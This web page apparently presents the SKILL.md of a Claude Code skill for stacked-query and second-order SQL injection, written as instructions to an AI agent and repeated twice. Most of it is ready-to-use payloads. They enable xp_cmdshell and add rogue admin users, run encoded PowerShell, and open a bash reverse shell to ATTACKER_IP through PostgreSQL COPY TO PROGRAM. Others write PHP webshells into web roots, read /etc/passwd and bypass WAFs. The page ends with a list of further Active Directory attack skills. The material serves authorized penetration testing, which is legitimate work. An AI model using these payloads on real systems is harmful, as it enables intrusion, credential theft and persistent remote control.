/sql-injection-stacked
Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill sql-injection-stacked --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/sql-injection-stacked
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing.
SKILL.md
sql-injection-stacked.SKILL.mdname: sql-injection-stacked
description: >
Guide stacked query SQL injection and second-order injection exploitation
during authorized penetration testing.
keywords:
- stacked queries
- multi-statement injection
- xp_cmdshell
- COPY TO PROGRAM
- command execution via SQL
- second-order SQLi
- stored injection
- data modification via SQLi
- write webshell SQL
- OS command from database
tools:
- sqlmap
- burpsuite
opsec: high
Stacked Queries & Second-Order SQL Injection
You are helping a penetration tester exploit stacked query SQL injection (executing multiple SQL statements via semicolons) and second-order injection (stored payloads that trigger in a different query context). These are the gateway to data manipulation, command execution, and file operations. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-stacked] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- For stacked queries: DB and driver that supports multi-statement execution
- For second-order: ability to store input that is later used unsafely
Database Support Matrix
| Feature | MSSQL | PostgreSQL | MySQL | Oracle | SQLite | |---------|-------|------------|-------|--------|--------| | Stacked queries (`;`) | Yes | Yes | No (default) | Limited | No | | Command execution | xp_cmdshell | COPY TO PROGRAM | UDF / INTO OUTFILE | Java / DBMS_SCHEDULER | No | | WAF bypass stacking | Yes (no `;` needed) | Limited | PREPARE/EXECUTE | N/A | N/A |
**MySQL caveat:** Stacking only works with `mysqli.multi_query()` or `PDO::ATTR_EMULATE_PREPARES => true`.
Step 1: Assess
If not already provided, determine: 1. **Injection point** — URL, parameter name, request method 2. **DBMS** — critical for selecting the right stacking technique 3. **Current DB privileges** — sysadmin/superuser enables command execution
Skip if context was already provided.
Step 2: Confirm Stacking Support
-- No-op stacked query — no error means stacking is supported
'; SELECT 1--+
-- Time-based confirmation
'; WAITFOR DELAY '0:0:3'--+ -- MSSQL
'; SELECT pg_sleep(3)--+ -- PostgreSQL
If `;` causes an error but other injection works, stacking is not supported — use read-only techniques instead.
Step 3: Exploit — Stacked Queries
MSSQL
MSSQL has the richest stacking support. Semicolons are optional.
**Data manipulation:**
'; INSERT INTO users (username, password, role) VALUES ('hacker','Passw0rd!','admin')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+**Enable and execute xp_cmdshell:**
-- Enable (disabled by default in SQL Server 2005+)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--+
-- Execute OS commands
'; EXEC xp_cmdshell 'whoami'--+
'; EXEC xp_cmdshell 'net user hacker Passw0rd! /add'--+
'; EXEC xp_cmdshell 'powershell -e JABjAGwAaQBl...'--+
**WAF bypass — stacking without semicolons:**
admin'exec('update[users]set[password]=''a''')--
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--**OLE Automation** (alternative to xp_cmdshell):
'; DECLARE @s INT; EXEC sp_oacreate 'wscript.shell',@s OUT; EXEC sp_oamethod @s,'run',NULL,'cmd /c whoami > C:\temp\out.txt'--+
PostgreSQL
Full stacking support via semicolons.
**Data manipulation:**
'; INSERT INTO users (username, password) VALUES ('hacker','Passw0rd!')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+
'; CREATE TABLE exfil (data text)--+**Command execution via COPY TO PROGRAM** (requires superuser or `pg_execute_server_program`):
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'--+
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
**Command execution via custom function (libc):**
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6','system' LANGUAGE 'c' STRICT--+
'; SELECT system('id')--+**File operations:**
'; CREATE TABLE fileread (content text); COPY fileread FROM '/etc/passwd'--+
'; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/cmd.php'--+
MySQL (When Stacking Is Possible)
**PREPARE/EXECUTE workaround** (bypasses keyword filters):
0); SET @query = 0x53454c45435420534c454550283529; PREPARE stmt FROM @query; EXECUTE stmt; #
-- 0x53454c45435420534c454550283529 = "SELECT SLEEP(5)"
**INSERT with ON DUPLICATE KEY UPDATE** (no stacking required):
-- Injected into INSERT VALUES clause:
attacker@evil.com"), ("admin@target.com","Passw0rd!") ON DUPLICATE KEY UPDATE password="Passw0rd!" #**File write** (no stacking required):
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--+
Oracle
Limited stacking — primarily PL/SQL blocks.
**Command execution
Read more
name: sql-injection-stacked description: > Guide stacked query SQL injection and second-order injection exploitation during authorized penetration testing. keywords: - stacked queries - multi-statement injection - xp_cmdshell - COPY TO PROGRAM - command execution via SQL - second-order SQLi - stored injection - data modification via SQLi - write webshell SQL - OS command from database tools: - sqlmap - burpsuite opsec: high
Stacked Queries & Second-Order SQL Injection
You are helping a penetration tester exploit stacked query SQL injection (executing multiple SQL statements via semicolons) and second-order injection (stored payloads that trigger in a different query context). These are the gateway to data manipulation, command execution, and file operations. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-stacked] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- For stacked queries: DB and driver that supports multi-statement execution
- For second-order: ability to store input that is later used unsafely
Database Support Matrix
| Feature | MSSQL | PostgreSQL | MySQL | Oracle | SQLite | |---------|-------|------------|-------|--------|--------| | Stacked queries (`;`) | Yes | Yes | No (default) | Limited | No | | Command execution | xp_cmdshell | COPY TO PROGRAM | UDF / INTO OUTFILE | Java / DBMS_SCHEDULER | No | | WAF bypass stacking | Yes (no `;` needed) | Limited | PREPARE/EXECUTE | N/A | N/A |
**MySQL caveat:** Stacking only works with `mysqli.multi_query()` or `PDO::ATTR_EMULATE_PREPARES => true`.
Step 1: Assess
If not already provided, determine: 1. **Injection point** — URL, parameter name, request method 2. **DBMS** — critical for selecting the right stacking technique 3. **Current DB privileges** — sysadmin/superuser enables command execution
Skip if context was already provided.
Step 2: Confirm Stacking Support
-- No-op stacked query — no error means stacking is supported '; SELECT 1--+ -- Time-based confirmation '; WAITFOR DELAY '0:0:3'--+ -- MSSQL '; SELECT pg_sleep(3)--+ -- PostgreSQL
If `;` causes an error but other injection works, stacking is not supported — use read-only techniques instead.
Step 3: Exploit — Stacked Queries
MSSQL
MSSQL has the richest stacking support. Semicolons are optional.
**Data manipulation:**
'; INSERT INTO users (username, password, role) VALUES ('hacker','Passw0rd!','admin')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+**Enable and execute xp_cmdshell:**
-- Enable (disabled by default in SQL Server 2005+) '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--+ -- Execute OS commands '; EXEC xp_cmdshell 'whoami'--+ '; EXEC xp_cmdshell 'net user hacker Passw0rd! /add'--+ '; EXEC xp_cmdshell 'powershell -e JABjAGwAaQBl...'--+
**WAF bypass — stacking without semicolons:**
admin'exec('update[users]set[password]=''a''')--
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--**OLE Automation** (alternative to xp_cmdshell):
'; DECLARE @s INT; EXEC sp_oacreate 'wscript.shell',@s OUT; EXEC sp_oamethod @s,'run',NULL,'cmd /c whoami > C:\temp\out.txt'--+
PostgreSQL
Full stacking support via semicolons.
**Data manipulation:**
'; INSERT INTO users (username, password) VALUES ('hacker','Passw0rd!')--+
'; UPDATE users SET password='Passw0rd!' WHERE username='admin'--+
'; CREATE TABLE exfil (data text)--+**Command execution via COPY TO PROGRAM** (requires superuser or `pg_execute_server_program`):
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'--+ '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
**Command execution via custom function (libc):**
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6','system' LANGUAGE 'c' STRICT--+
'; SELECT system('id')--+**File operations:**
'; CREATE TABLE fileread (content text); COPY fileread FROM '/etc/passwd'--+ '; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/cmd.php'--+
MySQL (When Stacking Is Possible)
**PREPARE/EXECUTE workaround** (bypasses keyword filters):
0); SET @query = 0x53454c45435420534c454550283529; PREPARE stmt FROM @query; EXECUTE stmt; # -- 0x53454c45435420534c454550283529 = "SELECT SLEEP(5)"
**INSERT with ON DUPLICATE KEY UPDATE** (no stacking required):
-- Injected into INSERT VALUES clause:
attacker@evil.com"), ("admin@target.com","Passw0rd!") ON DUPLICATE KEY UPDATE password="Passw0rd!" #**File write** (no stacking required):
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--+
Oracle
Limited stacking — primarily PL/SQL blocks.
**Command execution
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

